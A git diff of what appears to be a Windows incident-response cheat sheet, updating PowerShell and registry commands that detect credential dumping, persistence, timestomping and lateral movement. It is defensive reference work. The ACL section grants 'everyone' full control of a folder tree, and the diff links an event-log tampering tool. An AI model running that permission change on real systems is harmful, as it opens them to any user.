-``` +Adversaries may load `lsasrv.dll` or `wdigest.dll` to extract credentials. Check if these are loaded in unexpected processes: + +```powershell tasklist /m wdigest.dll tasklist /m lsasrv.dll ``` -You may be able to detect changes to the below registry keys which can be used to load an arbitrary DLL and extract credentials, more information from [Adam Chester](https://blog.xpnsec.com/exploring-mimikatz-part-1/) +Check for registry keys used to load arbitrary DLLs into LSASS (forcing credential dumps): +More information from [Adam Chester](https://blog.xpnsec.com/exploring-mimikatz-part-1/) -``` +```powershell reg query HKLM\SYSTEM\CurrentControlSet\Services\NTDS /v LsaDbExtPt reg query HKLM\SYSTEM\CurrentControlSet\Services\NTDS\DirectoryServiceExtPt ``` -An adversary may also tamper with the number of cached logons a system holds (default of 10). +Check for modification of Cached Logons count (Adversaries may increase this to cache more credentials): -``` +```powershell reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v CachedLogonsCount ``` -### NetNTLM Downgrade Attack Detection +### NetNTLM Configuration Checks -``` +Checks if the system is configured to allow weak NTLM authentication/traffic (Downgrade Attacks). + +```powershell reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RestrictSendingNTLMTraffic reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v NTLMMinClientSec ``` -[DanderSpritz eventlogedit](https://github.com/fox-it/danderspritz-evtx) - ### Putty Detection -``` +Checks for saved Putty sessions which implies SSH usage and potential lateral movement targets or persistence. + +```powershell reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s ``` -### Locate Possible Trickbot +### Check Common AppData Locations (Trickbot-style paths) -``` -gci -path C:\Users\*\AppData\Roaming\*\Data -recurse -force -ea SilentlyContinue -gci -path C:\Users\*\AppData\Roaming\*\Modules -recurse -force -ea SilentlyContinue -gci -path C:\Users\*\AppData\Local\*\Data -recurse -force -ea SilentlyContinue -gci -path C:\Users\*\AppData\Local\*\Modules -recurse -force -ea SilentlyContinue -gci -path C:\Users\*\AppData\Roaming\*\*\Data -recurse -force -ea SilentlyContinue -gci -path C:\Users\*\AppData\Roaming\*\*\Modules -recurse -force -ea SilentlyContinue -gci -path C:\Users\*\AppData\Local\*\*\Data -recurse -force -ea SilentlyContinue -gci -path C:\Users\*\AppData\Local\*\*\Modules -recurse -force -ea SilentlyContinue -gci -path C:\Windows\System32\config\systemprofile\appdata\roaming -recurse -force -include *.exe -schtasks /query /fo LIST /v | findstr "appdata" -schtasks /query /fo LIST /v | findstr "programdata" -schtasks /query /fo LIST /v | findstr "public" -tasklist /svc | findstr "svchost" -``` +Scans common user directories where malware (like Trickbot) often hides executables or data. -### Check running executables for malware via VirusTotal +```powershell +# Scan AppData Roaming and Local for suspicious folders/modules +Get-ChildItem -path C:\Users\*\AppData\Roaming\*\Data -recurse -force -ErrorAction SilentlyContinue +Get-ChildItem -path C:\Users\*\AppData\Roaming\*\Modules -recurse -force -ErrorAction SilentlyContinue +Get-ChildItem -path C:\Users\*\AppData\Local\*\Data -recurse -force -ErrorAction SilentlyContinue +Get-ChildItem -path C:\Users\*\AppData\Local\*\Modules -recurse -force -ErrorAction SilentlyContinue -**Note: VT Has a rate limit for the Public API so this won’t work if you are using the Public API. All 1 liners require VTAPIKey to be set as your VirusTotal API key** +# Nested levels +Get-ChildItem -path C:\Users\*\AppData\Roaming\*\*\Data -recurse -force -ErrorAction SilentlyContinue +Get-ChildItem -path C:\Users\*\AppData\Roaming\*\*\Modules -recurse -force -ErrorAction SilentlyContinue -``` -foreach ($process in Get-WmiObject win32_process | where {$_.ExecutablePath -notlike ""}) {Invoke-RestMethod -Method 'POST' -Uri 'https://www.virustotal.com/vtapi/v2/file/report' -Body @{ resource =(Get-FileHash $process.ExecutablePath | select Hash -ExpandProperty Hash); apikey = "[VTAPIKey]"}} -``` +# System Profile AppData +Get-ChildItem -path C:\Windows\System32\config\systemprofile\appdata\roaming -recurse -force -include *.exe -**This query uses a 15 second timeout to ensure only 4 queries are submitted a minute** +# Scheduled Tasks referencing AppData/ProgramData (Common persistence) +schtasks /query /fo LIST /v | findstr "appdata" +schtasks /query /fo LIST /v | findstr "programdata" +schtasks /query /fo LIST /v | findstr "public" -``` -foreach ($process in Get-WmiObject win32_process | where {$_.ExecutablePath -notlike ""}) {Invoke-RestMethod -Method 'POST' -Uri 'https://www.virustotal.com/vtapi/v2/file/report' -Body @{ resource =(Get-FileHash $process.ExecutablePath | select Hash -ExpandProperty Hash); apikey = "[VTAPIKey]"};Start-Sleep -Seconds 15;} +# Check services hosted in svchost (Look for anomalies) +tasklist /svc | findstr "svchost" ``` -**This query uses a 15 second timeout to ensure only 4 queries are submitted a minute and only unique hashes are queried** +### Check running executables for malware via VirusTotal -``` -$A = $( foreach ($process in Get-WmiObject win32_process | where {$_.ExecutablePath -notlike ""}) {Get-FileHash $process.ExecutablePath | select Hash -ExpandProperty Hash}) |Sort-Object| Get-Unique -AsString; foreach ($process in $A) {Invoke-RestMethod -Method 'POST' -Uri 'https://www.virustotal.com/vtapi/v2/file/report' -Body @{ resource =($process); apikey = "[VTAPIKey]"};Start-Sleep -Seconds 15;} +**Note: This script uses the VirusTotal API v3. It requires an API Key.** + +VirusTotal and other reputation services are maintained in Threat Data. + +{% content-ref url="../cyber-intelligence/threat-data.md" %} +[threat-data.md](../cyber-intelligence/threat-data.md) +{% endcontent-ref %} + +```powershell +$APIKey = "[VTAPIKey]" +$Header = @{ "x-apikey" = $APIKey } + +# Get Unique Hashes from Running Processes +$Processes = Get-CimInstance Win32_Process | Where-Object { $_.ExecutablePath } +$Hashes = $Processes | ForEach-Object { (Get-FileHash $_.ExecutablePath -Algorithm SHA256).Hash } | Select-Object -Unique + +foreach ($Hash in $Hashes) { + $Uri = "https://www.virustotal.com/api/v3/files/$Hash" + Try { + $Response = Invoke-RestMethod -Uri $Uri -Method Get -Headers $Header -ErrorAction Stop + $Stats = $Response.data.attributes.last_analysis_stats + Write-Output "Hash: $Hash | Malicious: $($Stats.malicious) | Suspicious: $($Stats.suspicious)" + } Catch { + # 404 means file not known to VT + if ($_.Exception.Response.StatusCode.value__ -ne 404) { + Write-Warning "Error querying $Hash : $($_.Exception.Message)" + } + } + Start-Sleep -Seconds 15 # Respect Public API Rate Limits (4/min) +} ``` ## Registry Indicators ### Check Registry for IE Enhanced Security Modification -``` -gci 'REGISTRY::HKU\*\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap' -gci 'REGISTRY::HKLM\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap' +```powershell +Get-ChildItem 'REGISTRY::HKU\*\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap' +Get-ChildItem 'REGISTRY::HKLM\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap' ``` ### Check Registry for disabling of UAC (1=UAC Disabled) -``` -gci REGISTRY::HKU\*\Software\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA -gci REGISTRY::HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA +```powershell +Get-ChildItem REGISTRY::HKU\*\Software\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA +Get-ChildItem REGISTRY::HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA ``` ### Review Software Keys for malicious entries -``` -gci registry::HKLM\Software\* -gci registry::HKU\*\Software\* +```powershell +Get-ChildItem registry::HKLM\Software\* +Get-ChildItem registry::HKU\*\Software\* ``` ### Scan Registry keys for specified text -``` -Get-ChildItem -path HKLM:\ -Recurse -ea SilentlyContinue | where {$_.Name -match 'notepad' -or $_.Name -match 'sql'} -Get-ChildItem -path HKLM:\ -Recurse -ea SilentlyContinue | get-itemproperty | where {$_ -match 'notepad' -or $_ -match 'sql'} +```powershell +Get-ChildItem -path HKLM:\ -Recurse -ErrorAction SilentlyContinue | Where-Object {$_.Name -match 'notepad' -or $_.Name -match 'sql'} +Get-ChildItem -path HKLM:\ -Recurse -ErrorAction SilentlyContinue | Get-ItemProperty | Where-Object {$_ -match 'notepad' -or $_ -match 'sql'} + +# Consider using reg query for speed in deep searches reg query HKLM\SOFTWARE /s /f ".exe" reg query HKLM\SYSTEM /s /f ".exe" reg query HKLM\SECURITY /s /f ".exe" reg query HKLM /s /f ".exe" ``` -## Suspicious Files +## Suspicious Files ### Find files without extensions -``` -Get-ChildItem -Path C:\Users\[user]\AppData -Recurse -Exclude *.* -File -Force -ea SilentlyContinue +```powershell +Get-ChildItem -Path C:\Users\[user]\AppData -Recurse -Exclude *.* -File -Force -ErrorAction SilentlyContinue ``` ### Persistent file locations of interest @@ -162,91 +197,74 @@ C:\Users\Public\* You can scan these directories for items of interest e.g. unusual exe, dll, bat, lnk etc files with: -``` -dir /s /b %localappdata%\*.exe | findstr /e .exe -dir /s /b %appdata%\*.exe | findstr /e .exe -dir /s /b %localappdata%\*.dll | findstr /e .dll -dir /s /b %appdata%\*.dll | findstr /e .dll -dir /s /b %localappdata%\*.bat | findstr /e .bat -dir /s /b "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\" | findstr /e .lnk -dir /s /b "C:\Users\Public\" | findstr /e .exe -dir /s /b "C:\Users\Public\" | findstr /e .lnk -dir /s /b "C:\Users\Public\" | findstr /e .dll -dir /s /b "C:\Users\Public\" | findstr /e .bat -ls "C:\Users\[User]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" | findstr /e .lnk +```powershell +Get-ChildItem $env:LOCALAPPDATA -Recurse -Include *.exe,*.dll,*.bat -ErrorAction SilentlyContinue +Get-ChildItem $env:APPDATA -Recurse -Include *.exe,*.dll,*.bat -ErrorAction SilentlyContinue +Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -Include *.lnk -ErrorAction SilentlyContinue +Get-ChildItem "C:\Users\Public\" -Recurse -Include *.exe,*.lnk,*.dll,*.bat -ErrorAction SilentlyContinue ``` ### Locate LNK Files with a particular string (Special thanks to the notorious) -``` -Select-String -Path 'C:\Users\[User]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\*.lnk' -Pattern "powershell" | Select Path +```powershell +Select-String -Path "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\*.lnk" -Pattern "powershell" | Select-Object Path ``` #### Master File Table -The Master File Table is an incredibly important artifact; however, this can only be read or obtained using low level disk reading. This contains an entry for every file or directory on the filesystem including metadata about these files, and may provide evidence on files which have been removed (MFT entries marked as ‘free’). More information can be found on [Microsoft Docs](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table) +The Master File Table (MFT) is an incredibly important artifact; however, this can only be read or obtained using low-level disk reading. This contains an entry for every file or directory on the filesystem including metadata about these files, and may provide evidence on files which have been removed (MFT entries marked as ‘free’). More information can be found on [Microsoft Learn](https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table). ### Determine Timestomping -Within the Master File Table (Located at the Win root) there are 2 elements, $STANDARD\_INFORMATION and $FILE\_NAME, both of which have values for a file being created, modified, accessed and written. +Within the Master File Table (located at the Windows root, e.g. `C:\$MFT`) there are two timestamp attributes: `$STANDARD_INFORMATION` and `$FILE_NAME`. Both have values for file Creation, Modification, Access, and Birth (MFT modification). -These are known as MACB times (Modified, Accessed, Changed, Birth). The $STANDARD\_INFORMATION element can be modified from a malicious process, but the $FILE\_NAME element is left intact and cannot without some extra trickery. +These are known as MACB times. The `$STANDARD_INFORMATION` attribute can be easily modified by user-level processes (and malware), but the `$FILE_NAME` attribute is generally read-only and cannot be modified without significant effort (kernel-level or direct disk access). -These discrepancies generally indicate Timestomping with the $FILE\_NAME entry being the source of truth. This can be determined by obtaining the MFT (e.g. using a tool such as Rawcopy), and comparing timestamps on the file (e.g. using a tool such as MFTExplorer). +Discrepancies between these two attributes generally indicate "Timestomping", with the `$FILE_NAME` entry often being the source of truth. This can be determined by obtaining the MFT (using a tool such as Rawcopy) and comparing timestamps (using a tool such as MFTExplorer). [Rawcopy](https://github.com/jschicht/RawCopy) -``` +```powershell RawCopy.exe /FileNamePath:C:0 /OutputPath:C:\Audit /OutputName:MFT_C.bin ``` [MFTExplorer](https://ericzimmerman.github.io/#!index.md) -### Check system directories for executables not signed as part of an operating system release - -``` -gci C:\windows\*\*.exe -File -force |get-authenticodesignature|?{$_.IsOSBinary -notmatch 'True'} -``` - -Note: Don’t forget tice Utilities load in user hives. +### Check system directories for executables not signed as part of an operating system release +```powershell +Get-ChildItem C:\windows\*\*.exe -File -force | Get-AuthenticodeSignature | Where-Object {$_.IsOSBinary -notmatch 'True'} ``` -reg query 'HKU\[SID]\Software\Microsoft\Office\[versionnumber]\Word\Security\Trusted Documents\TrustRecords'; -gci 'REGISTRY::HKU\*\Software\Microsoft\Office\*\*\Security\Trusted Documents\TrustRecords' -ea 0 | foreach {reg query $_.Name} -``` - -Note: This will show the file name/location and metadata in Hex. If the last lot of hex is FFFFFF7F then the user enabled the macro. - +### Office Trusted Documents (Macro Usage) -Note: Don’t forget to load in user hives. +Note: This checks user hives for trusted documents, which can indicate if a user enabled macros on a malicious document. ``` reg query 'HKU\[SID]\Software\Microsoft\Office\[versionnumber]\Word\Security\Trusted Documents\TrustRecords'; gci 'REGISTRY::HKU\*\Software\Microsoft\Office\*\*\Security\Trusted Documents\TrustRecords' -ea 0 | foreach {reg query $_.Name} ``` -Note: This will show the file name/location and metadata in Hex. If the last lot of hex is FFFFFF7F then the user enabled the macro. +Note: This will show the file name/location and metadata in Hex. If the last lot of hex is FFFFFF7F then the user likely enabled the macro. ### Check all Appdata files for unsigned or invalid executables -``` -Get-ChildItem -Recurse $env:APPDATA\..\*.exe -ea SilentlyContinue| ForEach-object {Get-AuthenticodeSignature $_ -ea SilentlyContinue} | Where-Object {$_.status -ine "Valid"}|Select Status,Path +```powershell +Get-ChildItem -Recurse $env:APPDATA\..\*.exe -ea SilentlyContinue | ForEach-Object {Get-AuthenticodeSignature $_ -ea SilentlyContinue} | Where-Object {$_.status -ine "Valid"} | Select-Object Status,Path ``` -### Check for execuables in Local System User Profile and Files +### Check for executables in Local System User Profile and Files -``` -Get-ChildItem C:\Windows\*\config\systemprofile -recurse -force -ea 0 -include *.exe, *.dll *.lnk +```powershell +Get-ChildItem C:\Windows\*\config\systemprofile -Recurse -Force -ErrorAction SilentlyContinue -Include *.exe, *.dll, *.lnk ``` ### Find executables and scripts in Path directories ($env:Path) -``` -Get-Command * -Type Application | FT -AutoSize -Get-Command -Name * | FL FileVersionInfo +```powershell +Get-Command -Name * | Format-List FileVersionInfo ``` ### Find files created/written based on date @@ -259,28 +277,69 @@ Get-ChildItem C:\ -recurse -ea SilentlyContinue -force | where-object { $_.Creat ### Programs specifically set to run as admin -``` +```powershell reg query "HKU\{SID}\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /s /f RUNASADMIN reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /s /f RUNASADMIN ``` -**Windows Indexing Service** +## Program Execution Artifacts + +These artifacts help determine if a specific program was executed on the system. + +### ShimCache (AppCompatCache) + +Tracks executable file metadata and whether it was executed. +```powershell +reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache" ``` +*Note: Parsing this key requires specialized tools (like Zimmerman's AppCompatCacheParser) due to its binary structure.* + +### AmCache + +Tracks applications usage and installation. + +```powershell +Get-ChildItem -Path C:\Windows\appcompat\Programs\Amcache.hve +``` + +### UserAssist (GUI Execution) + +Tracks programs executed via the GUI (Explorer). Values are Rot-13 encoded. + +```powershell +Get-ChildItem "REGISTRY::HKU\*\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist" +``` + +### Background Activity Moderator (BAM/DAM) + +Tracks execution on Windows 10+. + +```powershell +reg query "HKLM\SYSTEM\CurrentControlSet\Services\bam\State\UserSettings" +reg query "HKLM\SYSTEM\CurrentControlSet\Services\dam\State\UserSettings" +``` + +### Windows Indexing Service + +Contains a database of indexed files. + +```text C:\ProgramData\Microsoft\Search\Data\Applications\Windows\windows.edb ``` -* [ESE Database View](https://www.nirsoft.net/utils/ese\_database\_view.html) -* [View ESE Database](http://www.edgemanage.emmet-gray.com/Articles/ViewESE.html) -* +* [ESE Database View](https://www.nirsoft.net/utils/ese_database_view.html) +* [View ESE Database](http://www.edgemanage.emmet-gray.com/Articles/ViewESE.html) ## DNS Logs +**Note: DNS Client Operational logs (Microsoft-Windows-DNS-Client) are often disabled by default on client OS versions.** + ### Scan DNS Logs -``` -Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-DNS-Client/Operational'; Id='3010';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-DNS-Client/Operational'; Id='3020';} | FL TimeCreated,Message +```powershell +Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-DNS-Client/Operational'; Id='3010';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-DNS-Client/Operational'; Id='3020';} | Format-List TimeCreated,Message ``` ### Scan DNS Logs and output unique DNS Queries @@ -306,55 +365,62 @@ $output ### Detect Persistent WMI Subscriptions -These will appear as children spawning from wmiprvse. +These will appear as children spawning from `wmiprvse.exe`. -``` -Get-WmiObject -Class __FilterToConsumerBinding -Namespace root\subscription -Get-WmiObject -Class __EventFilter -Namespace root\subscription -Get-WmiObject -Class __EventConsumer -Namespace root\subscription +```powershell +Get-CimInstance -Namespace root\subscription -ClassName __FilterToConsumerBinding +Get-CimInstance -Namespace root\subscription -ClassName __EventFilter +Get-CimInstance -Namespace root\subscription -ClassName __EventConsumer ``` ### Investigate WMI Usage -Note: Requires [Strings](https://docs.microsoft.com/en-us/sysinternals/downloads/strings) +Note: Requires [Strings](https://learn.microsoft.com/en-us/sysinternals/downloads/strings) ``` strings -q C:\windows\system32\wbem\repository\objects.data ``` -## WIndows Defender +## Windows Defender -### Check Windows Defender Block/Quarantine Logs +### Check Windows Defender Block/Quarantine Logs +```powershell +Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-Windows Defender/Operational'; Data='Severe'} | FL TimeCreated,Message ``` -Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-Windows Defender/Operational'; Data='Severe'} | FL TimeCreated,Messag -``` - -## ACLs and ACE -### Check and Set Access Control Lists +### Check Defender Exclusions ACLs +```powershell +Get-Acl -Path 'HKLM:\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' | FL ``` -Get-Acl -Path 'HKLM:\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths'|FL -Get-Acl -Path [FileWithRequiredAccess] | Set-Acl -Path 'HKLM:\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' -``` -#### Change ACE for “everyone” on folder and subfiles/folders +## ACLs and ACE + +### Change ACE for “everyone” on folder and subfiles/folders **Grant everyone full access** -``` +```powershell icacls "C:\{DESIREDFOLDERPATH}" /grant everyone:(CI)(OI)F /T ``` -### Check Security Descriptor Definition Language (SDDL) and Access Control Entries (ACE) for services +### Check Security Descriptor Definition Language (SDDL) and Access Control Entries (ACE) for services -``` -sc sdshow -$A=get-service;foreach ($service in $A){$service;sc.exe sdshow $service.Name} -$A=get-service;foreach ($service in $A){$service;sc.exe sdshow $service.Name|Select-String "A;*DC"} -$A=get-service;foreach ($service in $A){$service;sc.exe sdshow $service.Name|Select-String "A;*WD"} -$A=get-service;foreach ($service in $A){$service;sc.exe sdshow $service.Name|Select-String "A;*WO"} +```powershell +# In PowerShell, 'sc' is an alias for Set-Content, so use sc.exe +sc.exe sdshow + +$Services = Get-Service +foreach ($Service in $Services) { + $Service.Name + sc.exe sdshow $Service.Name +} + +# Check for risky permissions: DC (Delete Child), WD (Write DAC), WO (Write Owner) +foreach ($Service in $Services) { $Service.Name; sc.exe sdshow $Service.Name | Select-String "A;*DC" } +foreach ($Service in $Services) { $Service.Name; sc.exe sdshow $Service.Name | Select-String "A;*WD" } +foreach ($Service in $Services) { $Service.Name; sc.exe sdshow $Service.Name | Select-String "A;*WO" } ``` ## Logging Checks @@ -373,6 +439,10 @@ Special thanks to [Grzegorz Tworek - 0gtweet](https://twitter.com/0gtweet/status reg query HKLM\System\CurrentControlSet\Control\MiniNt ``` +### Event Log Tampering Utilities + +[DanderSpritz eventlogedit](https://github.com/fox-it/danderspritz-evtx) - Tool for evtx manipulation. + ## Vulnerability Checks ### Verify EternalBlue Patch (MS17-010) is installed - [Microsoft](https://support.microsoft.com/en-us/help/4023262/how-to-verify-that-ms17-010-is-installed) @@ -384,97 +454,107 @@ get-item C:\Windows\system32\drivers\srv.sys | FL VersionInfo get-hotfix -id KB<111111> ``` -More information on [ACE Strings](https://docs.microsoft.com/en-us/windows/win32/secauthz/ace-strings) and the level of access they can provide. +More information on [ACE Strings](https://learn.microsoft.com/en-us/windows/win32/secauthz/ace-strings) and the level of access they can provide. ## Lateral Movement Checks -### Map Network Shares Lateral Movement Detection (Destinations) +### Remote Access / RDP Valid Logons + +```powershell +# RDP Logons (Type 10) +Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4624'; Data='10'} | Format-List TimeCreated,Message +# Network Logons (Type 3) - Common in lateral movement +Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4624'; Data='3'} | Format-List TimeCreated,Message ``` -Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4624'; Data='3'} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4672';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4776';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4768';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4769';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='5140';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='5140'; Data='\\*\C$'} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='5145';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='5140';} | FL TimeCreated,Message + +### Map Network Shares Lateral Movement Detection (Destinations) + +```powershell +Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4624'; Data='3'} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4672';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4776';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4768';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4769';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='5140';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='5140'; Data='\\*\C$'} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='5145';} | Format-List TimeCreated,Message ``` ### PsExec Lateral Movement Detection (Destinations) -``` -Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4624'; Data='3'} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4624'; Data='2'} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4672';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='5140'; Data='\\*\ADMIN$'} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='System'; Id='7045'; Data='PSEXESVC'} | FL TimeCreated,Message +```powershell +Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4624'; Data='3'} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4624'; Data='2'} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4672';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='5140'; Data='\\*\ADMIN$'} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='System'; Id='7045'; Data='PSEXESVC'} | Format-List TimeCreated,Message reg query HKLM\SYSTEM\CurrentControlSet\Services\PSEXESVC reg query HKLM\SYSTEM\CurrentControlSet\Services\ -ls C:\Windows\Prefetch\psexesvc.exe*.pf +Get-ChildItem C:\Windows\Prefetch\psexesvc.exe*.pf ``` ### Scheduled Tasks Lateral Movement Detection (Destinations) -``` -Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4624'; Data='3'} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4672';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4698';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4702';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4699';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4700';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4701';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-TaskScheduler/Maintenance'; Id='106';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-TaskScheduler/Maintenance'; Id='140';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-TaskScheduler/Maintenance'; Id='141';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-TaskScheduler/Maintenance'; Id='200';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-TaskScheduler/Maintenance'; Id='201';} | FL TimeCreated,Message +```powershell +Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4624'; Data='3'} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4672';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4698';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4702';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4699';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4700';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4701';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-TaskScheduler/Maintenance'; Id='106';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-TaskScheduler/Maintenance'; Id='140';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-TaskScheduler/Maintenance'; Id='141';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-TaskScheduler/Maintenance'; Id='200';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-TaskScheduler/Maintenance'; Id='201';} | Format-List TimeCreated,Message reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks" /s reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks" /s /v Actions -Get-ChildItem -path 'registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\' | Get-ItemProperty | FL Path, Actions +Get-ChildItem -path 'registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\' | Get-ItemProperty | Format-List Path, Actions reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree" -gci -path C:\Windows\System32\Tasks\ -recurse -File +Get-ChildItem -path C:\Windows\System32\Tasks\ -recurse -File ``` ### Services Lateral Movement Detection (Destinations) -``` -Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4624'; Data='3'} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4697';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='System'; Id='7034';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='System'; Id='7035';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='System'; Id='7036';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='System'; Id='7040';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='System'; Id='7045';} | FL TimeCreated,Message +```powershell +Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4624'; Data='3'} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4697';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='System'; Id='7034';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='System'; Id='7035';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='System'; Id='7036';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='System'; Id='7040';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='System'; Id='7045';} | Format-List TimeCreated,Message reg query 'HKLM\SYSTEM\CurrentControlSet\Services\' ``` ### WMI/WMIC Lateral Movement Detection (Destinations) -``` -Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4624'; Data='3'} | FL TimeCreated,Message 